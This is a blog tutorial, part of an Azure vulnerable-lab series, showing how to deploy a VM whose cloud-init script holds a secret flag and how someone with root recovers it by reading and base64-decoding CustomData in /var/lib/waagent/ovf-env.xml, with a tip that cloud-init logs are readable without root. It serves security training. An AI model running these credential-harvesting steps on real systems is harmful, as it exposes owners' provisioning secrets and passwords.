This article is part of a blog series where I explain common Azure vulnerabilities, how to create a lab such that it reproduces the issues, and how to exploit it. To follow this tutorial, you’ll need an Azure account and Azure CLI tool installed on your machine both of which you can get for free.
- You can can create an account for free at https://azure.microsoft.com/
- You can install Azure CLI from https://docs.microsoft.com/en-us/cli/azure/install-azure-cli
- You can find the source code of the challenges at https://github.com/andrei8055/Azure-security-challenges
- Consider getting Azure certified? Check my article on how to get Certified Azure Red Team Proffessional
- Part #1: Create an Azure Vulnerable Lab: Part #1 – Anonymous Blob Access
- Part #2: Create an Azure Vulnerable Lab: Part #2 – Environment Variables
- Part #3: Create an Azure Vulnerable Lab: Part #3 – Soft Deleted Blobs
- Part #4: Create an Azure Vulnerable Lab: Part #4 – Managed Identities
- Part #6: Create an Azure Vulnerable Lab: Part #6 – AAD Enumeration and Password Spraying
1. Cloud init
Azure provide DevOps with the possibility to deploy and easily customize VMs using a set of predefined commands which run as the machine starts for the first time: “cloud-init is a widely used approach to customize a Linux VM as it boots for the first time. You can use cloud-init to install packages and write files, or to configure users and security. Because cloud-init is called during the initial boot process, there are no additional steps or required agents to apply your configuration.“
To deploy and run cloud-init on a VM we can use azcli with the custom-data
flag:
az vm create --resource-group $resourceGroupName --name $vmName --image "UbuntuLTS" --admin-username $vmUser --admin-password $vmPass --authentication-type "password" --location $location --custom-data cloud-init.txt
An example of cloud-init.txt
file that deploys a simple web application as presented by Microsoft on their tutorial:
#cloud-config
package_upgrade: true
packages:
- nginx
- nodejs
- npm
write_files:
- owner: www-data:www-data
path: /etc/nginx/sites-available/default
content: |
server {
listen 80;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection keep-alive;
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
- owner: azureuser:azureuser
path: /home/azureuser/myapp/index.js
content: |
var express = require('express')
var app = express()
var os = require('os');
app.get('/', function (req, res) {
res.send('Hello World from host ' + os.hostname() + '!')
})
app.listen(3000, function () {
console.log('Hello world app listening on port 3000!')
})
runcmd:
- service nginx restart
- cd "/home/azureuser/myapp"
- npm init
- npm install express -y
- nodejs index.js
2. Creating a vulnerable cloud-init
The cloud-init file is base64 encoded and deployed to the VM, which is than loaded at boot time by one of the Azure services to run it. While Microsoft recommends not to store any sensitive information in the cloud-init, DevOps that are not aware of this security risk might still do it, which makes it possible for anyone with root access to the VM to read it.
Using azcli, we create a new VM that uses cloud-init to deploy a web app on port 80:
$resourceGroupName = "AZ-CTF"
$vmName = "0xpwnvm"
$vmUser = "0xpwn"
$vmPass = "0xPwn0xPwn!!!"
$location = "West Europe"
az login
az group delete --name $resourceGroupName --yes
az group create --name $resourceGroupName --location $location
az vm create --resource-group $resourceGroupName --name $vmName --image "UbuntuLTS" --admin-username $vmUser --admin-password $vmPass --authentication-type "password" --location $location --custom-data cloud-init.txt
az vm open-port --port 80 --resource-group $resourceGroupName --name $vmName
Compared to the example shown by Microsoft, let’s assume the DevOps uses some sensitive information in the command line during the initialization (i.e.: flag). Note that this information is not saved anywhere on the VM and just echo’d at boot time therefore one might assume it won’t be recoverable.
#cloud-config
package_upgrade: true
packages:
- nginx
- nodejs
- npm
write_files:
- owner: www-data:www-data
path: /etc/nginx/sites-available/default
content: |
server {
listen 80;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection keep-alive;
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
- owner: 0xpwn:0xpwn
path: /home/0xpwn/myapp/index.js
content: |
var express = require('express')
var app = express()
var os = require('os');
app.get('/', function (req, res) {
res.send('Hello World from host ' + os.hostname() + '!')
})
app.listen(3000, function () {
console.log('Hello world app listening on port 3000!')
})
runcmd:
- service nginx restart
- cd "/home/0xpwn/myapp"
- npm init
- npm install express -y
- nodejs index.js
- echo "The flag is 0e65164306a6b117a8a3391bcf6ad16e"

3. Exploiting cloud-init sensitive information
Assuming an malicious actor got root access to a VM that was deployed with a cloud-init file – this could be through a vulnerable service, a commands injection in the app, or simply requesting the DevOps teams to get a VM as part of a project (insider threat) – in this case we can simply use SSH creds as the way an attacker got access to the VM is irrelevant for this attack.
> ssh 0xpwn@20.126.57.118
password: 0xPwn0xPwn!!!
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1085-azure x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Once we connect, we can elevate privileges and check the /var/lib/waagent
where the cloud-init file is deployed:
0xpwn@0xpwnvm:/# sudo su
root@0xpwnvm:/# ls -la /var/lib/waagent/ | grep ovf
-r-------- 1 root root 2769 Jul 10 18:12 ovf-env.xml
This files contains the base64 cloud-init configuration deployed earlier:
cat ovf-env.xml | grep CustomData
<ns1:HostName>0xpwnvm</ns1:HostName><ns1:UserPassword>REDACTED</ns1:UserPassword><ns1:CustomData>I2Nsb3VkLWNvbmZpZwpwYWNrYWdlX3VwZ3JhZGU6IHRydWUKcGFja2FnZXM6CiAgLSBuZ2lueAogIC0gbm9kZWpzCiAgLSBucG0Kd3JpdGVfZmlsZXM6CiAgLSBvd25lcjogd3d3LWRhdGE6d3d3LWRhdGEKICAgIHBhdGg6IC9ldGMvbmdpbngvc2l0ZXMtYXZhaWxhYmxlL2RlZmF1bHQKICAgIGNvbnRlbnQ6IHwKICAgICAgc2VydmVyIHsKICAgICAgICBsaXN0ZW4gODA7CiAgICAgICAgbG9jYXRpb24gLyB7CiAgICAgICAgICBwcm94eV9wYXNzIGh0dHA6Ly9sb2NhbGhvc3Q6MzAwMDsKICAgICAgICAgIHByb3h5X2h0dHBfdmVyc2lvbiAxLjE7CiAgICAgICAgICBwcm94eV9zZXRfaGVhZGVyIFVwZ3JhZGUgJGh0dHBfdXBncmFkZTsKICAgICAgICAgIHByb3h5X3NldF9oZWFkZXIgQ29ubmVjdGlvbiBrZWVwLWFsaXZlOwogICAgICAgICAgcHJveHlfc2V0X2hlYWRlciBIb3N0ICRob3N0OwogICAgICAgICAgcHJveHlfY2FjaGVfYnlwYXNzICRodHRwX3VwZ3JhZGU7CiAgICAgICAgfQogICAgICB9CiAgLSBvd25lcjogMHhwd246MHhwd24KICAgIHBhdGg6IC9ob21lLzB4cHduL215YXBwL2luZGV4LmpzCiAgICBjb250ZW50OiB8CiAgICAgIHZhciBleHByZXNzID0gcmVxdWlyZSgnZXhwcmVzcycpCiAgICAgIHZhciBhcHAgPSBleHByZXNzKCkKICAgICAgdmFyIG9zID0gcmVxdWlyZSgnb3MnKTsKICAgICAgYXBwLmdldCgnLycsIGZ1bmN0aW9uIChyZXEsIHJlcykgewogICAgICAgIHJlcy5zZW5kKCdIZWxsbyBXb3JsZCBmcm9tIGhvc3QgJyArIG9zLmhvc3RuYW1lKCkgKyAnIScpCiAgICAgIH0pCiAgICAgIGFwcC5saXN0ZW4oMzAwMCwgZnVuY3Rpb24gKCkgewogICAgICAgIGNvbnNvbGUubG9nKCdIZWxsbyB3b3JsZCBhcHAgbGlzdGVuaW5nIG9uIHBvcnQgMzAwMCEnKQogICAgICB9KQpydW5jbWQ6CiAgLSBzZXJ2aWNlIG5naW54IHJlc3RhcnQKICAtIGNkICIvaG9tZS8weHB3bi9teWFwcCIKICAtIG5wbSBpbml0CiAgLSBucG0gaW5zdGFsbCBleHByZXNzIC15CiAgLSBub2RlanMgaW5kZXguanMKICAtIGVjaG8gIlRoZSBmbGFnIGlzIDBlNjUxNjQzMDZhNmIxMTdhOGEzMzkxYmNmNmFkMTZlIg==</ns1:CustomData></ns1:LinuxProvisioningConfigurationSet>
Once we decode the content, it’s possible to recover the flag which the DevOps team might have assumed it’s safe to include in the initialization file:
echo "I2Nsb3V [..] MTZlIg==" | base64 --decode | grep flag
- echo "The flag is 0e65164306a6b117a8a3391bcf6ad16e"
Bonus: if no juicy information is found in the ovf-env.xml
make sure to check as well the cloud-init.log
and cloud-init-output.log
which are both stored in /var/log
– these files do no require root permissions to be read.
One thought on “Create an Azure Vulnerable Lab: Part #5 – Cloud Init”